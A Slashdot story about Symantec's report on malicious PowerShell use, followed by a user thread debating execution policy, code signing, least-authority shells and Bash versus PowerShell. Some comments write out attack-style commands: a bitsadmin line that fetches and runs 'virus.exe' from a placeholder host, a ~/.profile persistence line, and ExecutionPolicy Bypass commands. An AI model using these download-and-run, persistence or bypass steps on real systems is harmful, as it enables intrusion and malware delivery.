Slashdot Mirror


PowerShell Security Threats Greater Than Ever, Researchers Warn (computerweekly.com)

Microsoft's Windows PowerShell configuration management framework continues to be abused by cyber attackers, according to researchers at Symantec, who have seen a surge in associated threats. From a report on ComputerWeekly: More than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious, with 111 threat families using PowerShell. Malicious PowerShell scripts are on the rise, as attackers are using the framework's flexibility to download their payloads, traverse through a compromised network and carry out reconnaissance, according to Candid Wueest, threat researcher at Symantec.

129 comments

  1. 503! The site has been hacked! by Anonymous Coward · · Score: 0

    I can't log in or see the users' pages! HELP!

    1. Re:503! The site has been hacked! by davester666 · · Score: 3, Funny

      Just run this PowerShell script via pastebin that will solve your problem: http://pastebin.com/QCnQGWLn

      --
      Sleep your way to a whiter smile...date a dentist!
    2. Re:503! The site has been hacked! by Big+Hairy+Ian · · Score: 1
      Since when is "Hackers use computer/network administration tool nefariously" news?

      Id be amazed if hackers weren't using power-shell!

      --

      Build a Man a Fire, and He'll Be Warm for a Day. Set a Man on Fire, and He'll Be Warm for the Rest of His Life.

  2. Replacing CMD by campuscodi · · Score: 1, Funny

    And that's why Microsoft is replacing cmd.exe with PowerShell

    1. Re:Replacing CMD by Junta · · Score: 3, Insightful

      Actually, CMD would be in theoretically worse shape if evaluated apples to apples. However, powershell *puroports* to have security features like execution policies and signing, so it draws more scrutiny. Those are pretty much useless in practice because a cmd script is not subjected to that scrutiny and can just modify the executionpolicy of powershell at will if it really wanted to do some nefarious stuff that required powershell (though they could easily use pretty much any language they want).

      --
      XML is like violence. If it doesn't solve the problem, use more.
    2. Re:Replacing CMD by houstonbofh · · Score: 4, Insightful

      Or, to rephrase, powerful tools are powerful tools. The main reason PowerShell can do more damage is because it can do more stuff.

    3. Re:Replacing CMD by naasking · · Score: 4, Interesting

      However, powershell *puroports* to have security features like execution policies and signing, so it draws more scrutiny.

      Both terrible "security" policies. What would a signature possibly mean to me as a user if I don't know you? With or without a signature, my choice is still: either I run this script I need to my job, or I don't and I can't do my job (or it gets much, much harder). So basically PowerShell's security is no better than any other shell that's come before it; it projects a false sense of security, and like UAC before it, it just gets in your way.

      So given the fact that getting a job done is king, and running scripts or programs written by potentially malicious people is the only reasonable way to do your job, then running arbitrary scripts must be made safe. The means to achieve this is the Principle of Least Authority (POLA), and POLA environments can and have been done before, even within commodity POSIX and Windows systems.

      The earliest secure POSIX shell that I recall was Plash. Now we also have Shill (requires a kernel module) and the Capsicum shell (also requires kernel modules). Windows can be made POLA secure out of the box as was demonstrated with Polaris.

      It's just amazing that we fail to learn the mistakes of the past even when solutions are available.

    4. Re:Replacing CMD by skids · · Score: 3, Interesting

      What would a signature possibly mean to me as a user if I don't know you?

      Funny thing about them signatures. When a powershell script runs another powershell with -Verb RunAs to ask the user to elevate privileges, powershell.exe is "Signed By Microsoft" and tells the user so.

    5. Re:Replacing CMD by MightyMartian · · Score: 3, Interesting

      Some of the nastier scripts out there nowadays aren't really about gaining elevated privileges. Some of them, like the encrypting ransomware requires no special privileges at all, but simply access to user files, and to network files that the user has read/write access to. So while the critical aspects of a computer or a network are protected by execution and system resource access limitations, you need to prevent execution of unauthorized scripts completely.

      I have to admit I've found signing Powershell scripts to be a mighty pain in the arse, but it does provide some protection against external scripts running when you maintain the blocking of execution of unsigned scripts. It isn't a complete protection, unfortunately, and Powershell is only one route by which this kind of ransomware could end up on a system. Vulnerabilities in Java, MS-Office files, and even the execution of Windows Scripting Host files (vbscript and jscript) seem more common from my experience.

      The one bit of ransomware I saw got loose through a vbscript file attached to an email. For whatever reason, Outlook allowed it to be executed, and the user clicked the dialog that might have prevented it, and then the script went to town encrypting files on the user's own folders and the share. Fortunately there's a good backup regime in place, so there was very little actual loss, but it demonstrated that along with some vulnerabilities in Windows' execution protection schemes, the real weak link as always is users themselves.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    6. Re:Replacing CMD by Billly+Gates · · Score: 1

      But malware writers won't be making bad powershell scripts as by default they can't be run and no one knows what they are besides system administrators. It won't ever be a target.

    7. Re:Replacing CMD by naasking · · Score: 1

      It won't ever be a target.

      Famous last words. Developers and system administrators are high-value targets since they potentially have access to numerous systems with sensitive information.

    8. Re:Replacing CMD by tepples · · Score: 2

      What would a signature possibly mean to me as a user if I don't know you?

      All code signing certificates issued by CAs trusted by popular operating systems are at least organizationally validated. This means two things: 1. the executable wasn't modified since it left the publisher's build farm, and 2. you know whom to sue if there are problems (especially in jurisdictions that don't allow a blanket disclaimer of all liability).

      With or without a signature, my choice is still: either I run this script I need to my job, or I don't and I can't do my job (or it gets much, much harder).

      I think the idea is that when faced with an unsigned script and a competitor's signed script, users will choose the signed script because of the guarantees of an OV certificate.

    9. Re:Replacing CMD by naasking · · Score: 4, Interesting

      Some of them, like the encrypting ransomware requires no special privileges at all, but simply access to user files, and to network files that the user has read/write access to.

      Those are special privileges. I don't think you truly appreciate the meaning of POLA. When you run a program with a POLA shell, it literally has access to nothing except the memory in its own address space and any parameters it's passed via the command line. Here's a simple example of copying a file in a traditional Unix shell:
      $ cp foo.txt foo.bak
      To implement the desired copy functionality, the cp command must have access to the entire local environment, including the entire file system since it can lookup an arbitrary path. This is an absurd amount of authority for a program that merely copies bytes from a source to a sink. Now here's a POLA version of the same command:
      $ cp < foo.txt > foo.bak
      Notice that the only permissions cp needs are explicitly specified in the command. They are then opened by the trusted shell and passed in as file descriptors, a read-only one and a write-only one, to the untrusted program. The explicit permission grants are obvious, and POLA shells generalize this type of pattern to compartmentalize all programs.

      For whatever reason, Outlook allowed it to be executed, and the user clicked the dialog that might have prevented it, and then the script went to town encrypting files on the user's own folders and the share.

      A perfect failure of POLA. In a proper least authority environment, it would have been perfectly safe to run that program because it would have had to raise a request to the environment for a set of read/write file descriptors and your user would have been rightly suspicious of any program requesting access to so many files.

    10. Re:Replacing CMD by naasking · · Score: 1

      This means two things: 1. the executable wasn't modified since it left the publisher's build farm, and 2. you know whom to sue if there are problems (especially in jurisdictions that don't allow a blanket disclaimer of all liability).

      Which a) just costs you more time and money, b) doesn't recover your lost data, and c) plenty of people with certificates aren't in your jurisdiction. Furthermore, you overestimate how difficult it is to obtain a valid certificate. All I need to do is own a domain. Anyone can purchase a domain.

      I think the idea is that when faced with an unsigned script and a competitor's signed script, users will choose the signed script because of the guarantees of an OV certificate.

      Certificates don't guarantee safety, which is really all the user wants to know, right after the question of whether the script does the job they need it to do.

      Furthermore, given how easy it is to obtain a domain-validated cert, your scenario isn't realistic. Users are actually faced with the choice of running two programs both of which are signed with certificates. Now how do they choose?

    11. Re:Replacing CMD by grumpy_old_grandpa · · Score: 1

      > running scripts or programs written by potentially malicious people is the only reasonable way to do your job

      Maybe I'm reading too much into this part of your post, however, if the only way to do your job is to run scripts you download off the Internet, then may I suggest you're doing it wrong (TM) ?

      Typically, scripts are very small programs which you implement yourself for your own convenience. They are typically not distributed beyond your immediate team. If the "scripts" grow into applications for which you cannot (or will not) inspect the code yourself, then they are as much a security threat as any other executable from an unknown untrusted source. Now, that risk might be acceptable in some scenarios, but typically, a no-go on any corporate device.

    12. Re:Replacing CMD by naasking · · Score: 1

      There is no difference between scripts and programs. Everything I said applies equally to any software you download from the internet (browsers, e-mail clients, Office documents with macros), any packages you install via a package manager to do your development (npm, grunt, etc), etc. I think you can see that everyone downloads programs from the internet, and they face the choice of "run this and do my job or don't do my job" every day.

      And it's only going to become more pervasive. All of these scripts and programs run with all of your authority, with access to all of your files.

      Code signing solves one very small aspect of the security problem quite well, and then people bafflingly try to use it everywhere like a hammer thinking it will solve other problems.

    13. Re: Replacing CMD by Anonymous Coward · · Score: 0

      Replacing Flash is more likely.

    14. Re:Replacing CMD by Anonymous Coward · · Score: 0

      In a proper least authority environment, [...] your user would have been rightly suspicious of any program requesting access to so many files.

      This is extremely hilarious. Have you seen what people agree to when installing Android apps?

    15. Re:Replacing CMD by hattable · · Score: 1

      Something is wrong in your workflow (not your fault I am guessing) if you are in such a time crunch that the _only_ way to accomplish your job is to google/download/run a random script. The rest of the comment is great, and should become the gold standard.

      --
      OMG facts!
    16. Re:Replacing CMD by FatdogHaiku · · Score: 1

      In a proper least authority environment, [...] your user would have been rightly suspicious of any program requesting access to so many files.

      This is extremely hilarious. Have you seen what people agree to when installing Android apps?

      You know, that would make a great contest for developers!
      See who can get the most clicks on egregious terms and consensual surrender of rights...
      maybe have sub-categories for most first born children promised, body parts at time of death, percentage of pension or retirement payments, etc..
      Stick in a severability clause and a disclaimer regarding the contest sections of the EULA and have a security firm monitor and tally the clicks... also maybe send a text to the user saying "Did you know you just promised someone you never met items x, y, and z ?"

      --
      You have the right to remain sentient. If you give up the right to remain sentient, you will be elected to public office
    17. Re:Replacing CMD by naasking · · Score: 1

      Don't you use nuget if you're a .NET developer? NPM or Grunt if you do front-end web development? They all use scripts that run with your full authority, and these are used daily by tens of thousands of software developers. People who manage popular NPM packages could probably do a lot of damage if they wanted to, just by uploading a new version that does something nefarious. It's like a road runner cartoon, and we've all walked off a cliff and just keep reassuring ourselves that everything will be fine as long as we don't look down.

      Even non-developers use software they download from the internet, like browsers, e-mail clients, photo apps, and even office documents with macros that can trash their systems. It has nothing to do with time-crunches, it's just a reality in our world that people use programs for just about everything; that most of these programs come from sources most people wouldn't even begin to know how to verify, even with code signing; that, even if they did know how to verify a code signature, chances are this verification step would be meaningless because they probably don't know the person or entity who signed it; that even if they did know the person(s) who signed it, they have no idea if those persons themselves were somehow vulnerable to some attack which compromised their product.

      The ultimate solution can only be found in ensuring that running programs that you know nothing about is inherently safe. Verifying the source of these programs is just a very poor proxy for that property. Fortunately, it's been proven to be achievable.

    18. Re:Replacing CMD by tepples · · Score: 1

      Furthermore, you overestimate how difficult it is to obtain a valid certificate. All I need to do is own a domain.

      This is true of TLS but not of code signing. There's no counterpart to Let's Encrypt ($0 for 90 days) or SSLs.com ($15 for three years), as far as I've been made aware. And a TLS certificate works across all major platforms, unlike an Authenticode certificate that works only for Windows, not for macOS or anything else. Apple is the only CA on macOS, and it charges $99 per year for a certificate that passes Gatekeeper.

      I have a feeling I missed something important.

    19. Re: Replacing CMD by cyber-vandal · · Score: 1

      Why would you run a script from someone you don't know without reading the code to see what it did?

    20. Re: Replacing CMD by cyber-vandal · · Score: 1

      PowerShell scripts aren't executables. They're a text document that you can read and see what it's going to do.

    21. Re: Replacing CMD by naasking · · Score: 1

      Do you read all of the Excel macros in a spreadsheet before allowing them to run? Do you read the NPM or nuget install scripts for every package before you download it so you can get your actual work done? How about for every update to every package?

      You seriously underestimate the number of scripts that are automatically run during normal, every day activity. You'll be fired for low productivity if you seriously think you can audit every script or program you need to run.

    22. Re: Replacing CMD by naasking · · Score: 1

      Are you for real? You can decompile executables and see what they're going to do too, so do you seriously expect people to audit every program they're going to run?

      Just because scripts are one or two orders of magnitude smaller than executables, why should the burden suddenly fall on end users to audit when a properly designed system wouldn't need such auditing for either programs or scripts.

      So here's an idea: don't design insecure systems so people don't have to do unnecessary, stupid and laborious work.

    23. Re:Replacing CMD by sg_oneill · · Score: 1

      Or, to rephrase, powerful tools are powerful tools. The main reason PowerShell can do more damage is because it can do more stuff.

      Yep. Its the same thing as the bash/csh/etc family of *nix shells. Plenty of malware nasties use it because its so easy to get a powerful result

      Its not really a vunerability ,just an enabler

      --
      Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
    24. Re:Replacing CMD by l0n3s0m3phr34k · · Score: 1

      that's why I have ran Set-ExecutionPolicy -Unrestricted as an admin on all my servers! One, I just don't care. Two, I want to be able to run Powershell from the command line without any hassle. Did I mention I don't care?

    25. Re: Replacing CMD by dfeifer · · Score: 1

      Though if people ran as a standard user and not administrator most of this would be a non issue.

    26. Re: Replacing CMD by Hylandr · · Score: 1

      most

      --
      ~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
    27. Re:Replacing CMD by Anonymous Coward · · Score: 0

      Except that malware writers are actively using Powershell scripts because adding "-ExecutionPolicy Bypass" to the command lets it run just fine.

      Source: I work in cybersecurity and see it happening in our environment all the damn time.

    28. Re:Replacing CMD by Anonymous Coward · · Score: 0

      As someone who picked up my first smartphone a couple of months ago there is one thing I really liked about Android.
      That there is a list of installed programs with editable permissions.
      Occasionally I go through it and turn on/off permissions depending on how paranoid I feel.

    29. Re: Replacing CMD by cyber-vandal · · Score: 1

      Is there any suggestion that nuget.org has been compromised? I didn't get that from the article. I will stay having a look from now on though. My boss won't have a problem with that.

    30. Re: Replacing CMD by cyber-vandal · · Score: 1

      Yes I would expect someone running a script which is usually orders of magnitude smaller than an executable to look at it first. Would you run a bash script from an unknown source without checking it first?

    31. Re: Replacing CMD by houstonbofh · · Score: 1

      Easier to do on some OSs then others.

    32. Re:Replacing CMD by Anonymous Coward · · Score: 0

      So basically If I can do thousands with my malicious script, I would pay that as the cost will return.
      But if I just want to do my work I wont be able to automate it and run it, because 99$ is a show-stopper.
      Also look at the company sizes. Small/middle-sized companies are not gonna pay the 99$, because well, there is an option to run the scripts for free.

      Good job. Security for the rich is a bad concept.

      PS scripts are supposed to be scripts: code snippets that help you do your work and easily adaptable to fit your current workload.
      Not full-fledged, non-changable programs.

    33. Re: Replacing CMD by naasking · · Score: 1

      No, but that's not the point. Nuget packages have Powershell install scripts. Nuget packages can be created by anyone. Ergo, if you're really so paranoid about security that you plan to audit every script or program you run, then you should be auditing these too.

  3. Why the fuck would Symantec analyze non-threats? by redmid17 · · Score: 1

    FFS who writes this? Of course an anti-virus company is looking for malicious scripts and most of those are going to *wait for it* be malicious. The 5% who aren't are likely abject failures. Symantec isn't knocking on Initech's door asking Jim from the Windows team for his powershell solution to deploy licensed software packages

  4. Well... by The-Ixian · · Score: 4, Insightful

    Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

    Of course... sysadmins generally disable that restriction just like they turn of UAC... MS makes a security measure and people disable it and then complain that MS is so insecure.

    But then Linux is insecure in a lot of the same ways... it's only as secure as the weakest link... which is generally the apps running on it.

    --
    My eyes reflect the stars and a smile lights up my face.
    1. Re:Well... by houstonbofh · · Score: 0

      Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

      But there are ways to launch it (Especially from a cmd shell) that bypass that.

    2. Re:Well... by Anonymous Coward · · Score: 0

      There are also many ways to turn that off, which are not typically protected. So even if an admin leaves it on, it's not that good of a protection

    3. Re:Well... by chispito · · Score: 1

      Good thing MS had the foresight to make sure that non-signed PS scripts aren't executable by default.

      But there are ways to launch it (Especially from a cmd shell) that bypass that.

      If you have already popped a shell, PowerShell is not the deciding factor.

      --
      The Daddy casts sleep on the Baby. The Baby resists!
    4. Re:Well... by sexconker · · Score: 2

      Describe several of the "many ways".

      I need to run powershell as an admin to change the execution policy. Generally, our users don't run as admin. (It's impossible to fully wrangle laptop users, unfortunately, but even they have UAC and are trained not to run random crap.)

    5. Re:Well... by gravewax · · Score: 1

      So what you're saying is that if you gain local admin access and launch a cmd shell you can get past the restrictions that are preventing you from doing stuff. hint the game was already lost the instant they had access to make those changes.

    6. Re:Well... by MightyMartian · · Score: 1

      No, what he is referring to is that you get into a command shell, you can invoke an unsigned PowerShell script with PowerShell.exe -file. But that's not much different than source in bash.

      But it's hard to imagine a social engineering attack that would get a user to download a file and then get them into a CLI session to override execute flags or signing to invoke the script file.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    7. Re:Well... by Anonymous Coward · · Score: 0

      the point is if you have access to the change the launch policy (needed to launch from command shell) then you are already completely compromised. The fact they choose to use Powershell next is irrelevant, they could have just as easily launch a 1000 other exploit methods as you are alraedy behind the defenses.

    8. Re:Well... by athmanb · · Score: 1

      The following command doesn't need admin rights and deactivates Powershell signing for the current process:
      Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
      That's sufficient to allow Powershell to do the same nastyness that .cmd and .exe files are allowed to by default though.

      Powershell signing is a badly thought out security mechanism that really does not do anything.

    9. Re:Well... by Big+Hairy+Ian · · Score: 1

      it's only as secure as the weakest link... which is generally the apps running on it.

      No the weakest link sits between the keyboard and the chair

      --

      Build a Man a Fire, and He'll Be Warm for a Day. Set a Man on Fire, and He'll Be Warm for the Rest of His Life.

  5. RTFA by Anonymous Coward · · Score: 0

    FFS who writes this? Of course an anti-virus company is looking for malicious scripts and most of those are going to *wait for it* be malicious.

    wipe the drool from your chin and RTFA

    1. Re:RTFA by chispito · · Score: 1

      wipe the drool from your chin and RTFA

      I had the same question as the OP. That line, "More than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious," is a direct quote from the article, which provides no context. I'm assuming the author meant 95% of malware that had PowerShell... no even that doesn't make sense.

      I don't think the story is credible.

      --
      The Daddy casts sleep on the Baby. The Baby resists!
    2. Re:RTFA by Anonymous Coward · · Score: 2, Insightful

      Yeah... RTFA really doesn't help in this case.

      That meaningless statistic, is just as meaningless both before and after reading the article.

      And nice bit of work from the article author managing to get this particular link in to that paragraph:
      href="file:///C:/Users/washford/Documents/4%20Thursday/Microsoft%E2%80%99s%20Windows%20PowerShell%20configuration%20management%20framework"

      Shocking conclusion though, apparently executables and scripts downloaded from the internet can be malicious, who would have thought that!?

    3. Re:RTFA by Anonymous Coward · · Score: 0

      which provides no context.

      RTFA:

      Malicious PowerShell scripts are mainly used as downloaders

      MY GOD THE DUMB IS STRONG HERE

    4. Re:RTFA by Tharkkun · · Score: 1

      wipe the drool from your chin and RTFA

      I had the same question as the OP. That line, "More than 95% of PowerShell scripts analysed by Symantec researchers have been found to be malicious," is a direct quote from the article, which provides no context. I'm assuming the author meant 95% of malware that had PowerShell... no even that doesn't make sense. I don't think the story is credible.

      Let me guess. The story is followed up with information on how to purchase Symantec products to secure your Enterprise? Right? Well the way to do that is to buy McAfee instead.

    5. Re:RTFA by chispito · · Score: 1

      which provides no context.

      RTFA:

      Malicious PowerShell scripts are mainly used as downloaders

      MY GOD THE DUMB IS STRONG HERE

      I read TFA. The OP's question--and mine--was "what were Symantec analyzing--where did they get their sample--that 95% of PowerShell scripts were found to be malicious?" If the answer is "known malware" then who cares (and what did the other 5% do?).

      Does that make sense? Is the "dumb" still strong?

      --
      The Daddy casts sleep on the Baby. The Baby resists!
  6. Microsoft Bash to the rescue by OffTheLip · · Score: 2

    Maybe this will be the year of Linux on the desktop

    1. Re:Microsoft Bash to the rescue by Anonymous Coward · · Score: 0

      Maybe this will be the year you get a girlfriend that isn't one of your hands.

    2. Re:Microsoft Bash to the rescue by Anonymous Coward · · Score: 1

      Forget Linux on the desktop. This is the year of Windows in your underpants.

      (That's a metaphor for "everywhere you don't want it to be".)

    3. Re:Microsoft Bash to the rescue by unixisc · · Score: 1

      Actually, this brings up the follow-on question: how is bash - or any of the other unix-based shells, such as ksh, ssh, ash thru zsh - any more secure than PowerShell? Particularly since there are fewer people familiar w/ the latter - both malware authors as well as security experts

    4. Re:Microsoft Bash to the rescue by MightyMartian · · Score: 1

      They're not, and suffer the same inherent vulnerability that Powershell or any other executable scripting language does; that even if you have core network and system resources ringfenced, malicious scripts can still play havoc with anything even regular users have access to (like shared file resources and the like).

      The reality is, and this has been known for a couple of decades now, email and web clients simply should not be able to execute code. But since executable code, whether macros or scripts, show up in so many file formats it's all but impossible to fully enforce such a regime.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    5. Re:Microsoft Bash to the rescue by DarkOx · · Score: 1

      That isn't really the whole truth though is it. PS makes doing things to the system very easy. How do you change a registry entry from cmd? You probably have to write a reg file and invoke reg.exe. Same is true of Bash etc on linux. How do alter my desktop session to auto load your malware everytime I log in? Home bash isn't going to provide you a friendly interface to do that. You probably are going to be pushing sed scripts etc, it will be kludgy and unreliable. How do you exfil data with bash? /dev/tcp/? Sure I guess but its not going to look like any known protocol, isn't going to give you encryption etc; you'll probably end up invoking curl. With PS just create an XMLHTTP request object and go, heck if they use has a proxy configured you'll even get that for free!

      I would say an attacker having access to PS on Windows is more like an attacker have access to Ruby or Python on Linux with every ruby/python library under the sun installed!

      While the situation PS / Bash might theoretically be comparable in practice its really not.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    6. Re:Microsoft Bash to the rescue by tepples · · Score: 1, Insightful

      how is bash - or any of the other unix-based shells, such as ksh, ssh, ash thru zsh - any more secure than PowerShell?

      Not allowing the equivalent of ShellExecute on a script without the execute bit set, and saving files downloaded from the Internet without the execute bit.

    7. Re:Microsoft Bash to the rescue by Anonymous Coward · · Score: 0

      How do alter my desktop session to auto load your malware everytime I log in? Home bash isn't going to provide you a friendly interface to do that.

      echo "source ~/.my_badware" >> ~/.profile

      I'm pretty sure that's a significant bit shorter than the registry-modification line, simply because it's shorter than the path to reach anything significant in the registry (such as: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" or "HKEY_CLASSES_ROOT\\.exe\\shell\\open\\command")

    8. Re:Microsoft Bash to the rescue by pr0fessor · · Score: 2

      reg add \\keyname /v valuename /t type /d value

        You don't need to write a reg file and import it.

    9. Re:Microsoft Bash to the rescue by Anonymous Coward · · Score: 0

      Cubs won the World Series, so anything is possible.

    10. Re:Microsoft Bash to the rescue by Szeraax · · Score: 1

      Didn't they already try that and you have to "Unblock" downloaded files before you can run them? Even wrote a command to save you time cause you hate having them blocked (Unblock-File).

      My question is whether a malicious PNG opening on debian can cause the system to let it load a bash shell that downloads an exploit from a random IP to get in and deliver the payload. If not, then its better than powershell from that standpoint.

    11. Re:Microsoft Bash to the rescue by athmanb · · Score: 1

      With a cmd file you can do the following
      bitsadmin /transfer foo /download http://hax0r.org/virus.exe c:\windows\temp\notavirus.exe
      c:\windows\temp\notavirus.exe

      At which point you can run anything. Same thing with bash and wget.

    12. Re:Microsoft Bash to the rescue by golgotha007 · · Score: 1

      The knowledge gap between windows and linux users is quite large. To answer your question if a linux shell is more secure than windows powershell, it isn't, at least, not at face value. However, the fact that linux users are more likely to take care about what they're running than windows users, this makes all the difference.

    13. Re:Microsoft Bash to the rescue by tepples · · Score: 1

      My question is whether a malicious PNG opening on debian can cause the system to let it load a bash shell

      Even if it does, it won't last long, as libpng will be patched promptly. And it won't require a complete reboot, just closing and reopening all applications that link to libpng.

    14. Re:Microsoft Bash to the rescue by Anonymous Coward · · Score: 0

      One thing would be that thare is no unnecessary complexity of objects flying around.

      when i do
      do_something | grep -v something | do_something_else - i *know* no text lines contain something will be there. Its easy and understandable, all you need to know: its all text only.

      I cant do this in Powershell unless I know *all* possible attribues of the returned objects in PS. there is no match-all or filter-all. So *unless* I investigate *all* objects on the way I cant be sure to easily filter all I want to.
      -> its easier to leak information, and/or its possible that ppl fuck up.

  7. Switch PS off? by Anonymous Coward · · Score: 0

    Hi,

    since there's no particular use for it on Joe Doe's pc...

    How to switch it *completely* off?

    Thanks :)))

    1. Re:Switch PS off? by chispito · · Score: 1

      Hi,

      since there's no particular use for it on Joe Doe's pc...

      How to switch it *completely* off?

      Thanks :)))

      Don't give Joe admin access and he'll be fine.

      --
      The Daddy casts sleep on the Baby. The Baby resists!
    2. Re:Switch PS off? by DarkOx · · Score: 1

      You can't windows updates and lots of application installers now use PS scripts to get the work done. If you disable it you break the system. That ship has sailed.

      PS is here to stay

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
  8. Had to be said by SuperKendall · · Score: 5, Funny

    With great PowerShell comes great ResponsibilityShell.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Had to be said by Anonymous Coward · · Score: 1

      Click a Slashdot article with an idea in the head, browse down and discover the post with the same idea..Slashdot never fails. :)

  9. Well duh by Billly+Gates · · Score: 4, Insightful

    WHen you run powershell as an admin it can do bad things. Who would have thought? I wonder if Linux is vulnerable if someone is logged in as root?

    Powershell is not enabled with an execution policy by default. It has to be enabled and most people do not even know what it is so this is no threat? At work we have a GPO that blocks powershell for any non AD admin.

    1. Re:Well duh by Anonymous Coward · · Score: 0

      Welll whooppeee doooo. You have a GPO that blocks Powershell at work.
      Well done to your admins.

      Now what about the great unwashed users who don't even know what a GPO is.
      Powershell is also goddlegook to them yet a few simple commands that you can mess up the registry.
      What are MS thinking? They don't think. That's their problem.

      This is just the tip of the iceberg. Powershell is POS, pure and simple and should be consigned to the great bit bucket in the sky ASAP.

    2. Re: Well duh by Anonymous Coward · · Score: 0

      GPO in active directory is applied for any computer on the domain, no need for the user to be aware of it.

    3. Re:Well duh by aster_ken · · Score: 1

      You misunderstand what Billy Gates said. Windows sets a very restricted execution policy in PowerShell by default. It doesn't matter whether your systems are domain joined or not. In addition, PowerShell does not run with elevated privileges unless you explicitly tell it to (right-click > Run as Administrator).

      As far as I can tell, these scripts cannot affect the average user because they would be blocked both by the default execution policy (cannot run unsigned scripts from external sources) and by the lack of elevated privileges to make system changes.

    4. Re:Well duh by Anonymous Coward · · Score: 0

      Powershell is one of the better technologies MS have come up with in recent years. Just because you are to incompetent to understand how it works doesn't mean it is bad. Finally ditching cmd.exe and replacing with PowerShell is a huge awesome step forward. I gather you have a similiar hate for other powerful interfaces like BASH.

    5. Re:Well duh by MightyMartian · · Score: 1

      My chief issue with Powershell is the naming conventions. I prefer the mnemonic approach of the *nix world.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    6. Re:Well duh by guruevi · · Score: 1

      Then how does Symantec see such a huge number of attacks? It's the same broken argument we've heard for years: don't run as admin on Windows, you wouldn't run as root on Linux. Then why does every single computer get installed with admin privileges enabled by default? It's because the Windows ecosystem and ACL system is fundamentally broken.

      If hackers suddenly start sending PowerShells en masse it is because they are exploiting a feature or setting that allows them to use it.

      --
      Custom electronics and digital signage for your business: www.evcircuits.com
    7. Re:Well duh by Billly+Gates · · Score: 1

      Users have not run as an admin since Windows XP. The administrator local group from Vista on is really a user group with a UAC token to run admin tasks ala Sudo style.

      The user would have to manually run it or if the hacker can change the execution policy to run code in powershell then he/she already has 0wned the PC in question.

      So your question was the default installation. Windows actually does have an admin account and a service account to do tasks but it is not logable and setting a user profile is disabled with this by default. YOu can not log in as admin like you could in XP. Yes hackers find overflows or try to trip a process that uses the admin or service account like Adobe flash.

    8. Re: Well duh by Anonymous Coward · · Score: 0

      Powershell has the ability to create alias for any command. It comes out of the box with alias set for many of the commands from BASH. I can ls and rm to my hearts content.

    9. Re:Well duh by Anonymous Coward · · Score: 0

      Yes you can run as the administrator account on Windows 10.
      Log on as with a account that is a member of the administrator group.
      Open computer management and under users - enable the account named by default "Administrator" - provide a password and log off.
      Log on as "Administrator" - the system will create a profile and away you go.

      Do this only in an extreme case - my scenario - I was screwing around with (irony alert) PowerShell and entered the following command in the wrong directory (i.e. Users\\appdata\local) gci | rd -recurse. The command ate almost all of the folders in the profile, a stupid thing to do - DUH!

      Once logged on as Adminstrator - delete the "other accounts" profile - hard to do if you want to delete admin group profiles.

      Log out - Log back on as the "other account" and do the reverse - disable "Administrator", put in a ridiculously long password (I prefer passphrases) delete the profile.

      Normally, I log on as a std user, I have an Admin account that I use with caution (see story above) and I purposefully rename the default Administrator to some other name. Renaming the Administrator account to "something else" is sort of lame and not a security catchall, but just how many times has a UNIX/Linux system not had an account named "root"? None of my machines has accounts named Administrator or Guest - they are something else.

    10. Re:Well duh by Szeraax · · Score: 1

      Which is pretty crazy since in windows, you just have to look for the admin SID (easy to do) and then you have its name. I guess renaming the admin account is better than nothing, but it is almost literally nothing...

    11. Re:Well duh by Anonymous Coward · · Score: 0

      Well, in order to "get" the SID you have to have access to the machine. If you are not able to use a valid ID, you can't get the SID. If you are not able to get to a machine that has a current user at the desktop or if your organization is stupid enough to not hide the current or past user, then you have other issues.

      If you find my machine, good luck in finding the disabled, renamed administrator account. And good luck in getting the SID for any account as SID's are unique for each device.

  10. Not exploits though by HalAtWork · · Score: 2

    Powershell has been used to carry out tasks, but we're not talking about PowerShell being exploited here. A pre-existing problem (be it an exploit used to deliver the script, or an ID 10 T problem) would have had to manifest, and you still need to escalate privileges to do something other than a temporary infection or encryption/ransom of the current user account.

    1. Re:Not exploits though by Billly+Gates · · Score: 1

      Actually under XP where people logged in as a real local admin it was worse as VBScript could be run without any execution policy right from IE 6!

      A good NT system administrator would create a GPO to block this in IE .... however really horrible CRM apps at work required this functionality to run! So full scriptkiddies away. These insecure apps are the reason Windows 7 was avoided for so many years at these companies who kicked and cried to leave these IE 6 apps behind.

      Powershell is a big improvement over vbscript that I can not even start to say how.

  11. That's why script execution is off by default by ErichTheRed · · Score: 2

    PowerShell isn't a scripting language in the traditional sense -- it's a whole ecosystem that can expose the entire machine if you have the rights, and perform extremely complex stuff on the user's behalf. If you can convince someone to remove the execution protection and run a script you provide, it makes for a very easy malware-distribution utility because it can basically do anything the native OS can, call .NET code directly, grab data from URLs, have JSON conversations, remotely manage other machines on the network and so on. The out of box settings are to only run digitally signed scripts and not allow scripts to be run from remote locations, but it's very possible to just run "Set-ExecutionPolicy Unrestricted" and drop all the protections...then the code you run has all the rights your user account does.

    I've mentioned this before, but PowerShell is one of those things that Windows admins are slowly adopting, simply because the alternatives have worked well in the past and are easy to get the basics down in. Those alternatives are disappearing on Windows, so there will be a phase where these kinds of attacks could be very prevalent. It's a little bit like TLS certificates for internal applications -- many admins I know will do the absolute minimum required to stop the browser from showing a certificate error, then run away screaming. And that kind of makes sense -- unless your job is web programming or you're a PKI expert, the details of certificates are very complex and not well documented in an easily digestible form. Like certificates, PowerShell has a really steep learning curve before you can do really useful stuff in it. The basics are easy, but learning to think of every command as returning objects rather than text output you have to play with is a big jump for some people. Makes perfect sense for developers, but less sense for IT people or cross-platform people used to dealing with files and text I/O streams.

    1. Re:That's why script execution is off by default by tepples · · Score: 1

      It's a little bit like TLS certificates for internal applications -- many admins I know will do the absolute minimum required to stop the browser from showing a certificate error, then run away screaming.

